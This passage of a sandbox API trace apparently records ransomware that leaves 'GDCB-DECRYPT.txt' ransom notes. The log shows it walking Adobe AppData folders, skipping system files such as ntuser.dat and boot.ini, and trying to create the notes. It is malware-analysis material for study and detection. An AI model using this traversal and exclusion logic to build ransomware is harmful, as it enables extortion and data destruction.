Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 117 [0169.919] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 117 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.919] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.919] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.919] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.919] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.920] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.920] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.920] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.920] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef" [0169.920] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0169.920] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.920] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.920] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.920] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.920] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.920] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.920] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 101 [0169.920] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0169.920] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4c58 [0169.920] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.920] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.920] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.920] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.920] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.920] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.920] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.920] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0169.920] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 103 [0169.920] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.920] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.920] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.920] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0169.921] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 117 [0169.921] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.921] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.921] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.921] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.921] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 118 [0169.921] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.921] GetLastError () returned 0x50 [0169.921] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.922] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 101 [0169.922] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0169.922] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4e98 [0169.922] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.922] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.922] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.922] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.922] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.922] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.922] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.922] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0169.922] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0169.922] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.922] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.922] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.922] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.922] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.922] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.922] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 104 [0169.922] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0169.922] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4918 [0169.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.923] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.923] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.923] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.923] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.923] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.923] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0169.923] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 111 [0169.923] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.923] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.923] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.923] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0169.923] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.923] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.923] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.923] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.923] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.923] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 121 [0169.923] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.924] GetLastError () returned 0x50 [0169.924] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.924] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 104 [0169.924] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0169.924] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4c58 [0169.924] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.924] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.924] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.924] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.924] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.924] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.924] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.924] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0169.924] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0169.924] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.924] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.925] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 112 [0169.925] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.925] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4e18 [0169.925] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.925] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.925] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.925] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.925] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.925] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.925] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.925] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.925] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 117 [0169.925] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.925] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.925] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.925] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.925] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 118 [0169.925] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.925] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.925] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.925] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0169.925] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 128 [0169.925] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.925] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.925] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.925] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.925] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 129 [0169.926] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.926] GetLastError () returned 0x50 [0169.926] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.926] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 112 [0169.926] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.926] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4e18 [0169.926] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.926] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.926] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.927] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.927] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.927] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.927] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.927] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.927] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0169.927] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.927] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.927] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.927] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 118 [0169.927] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application 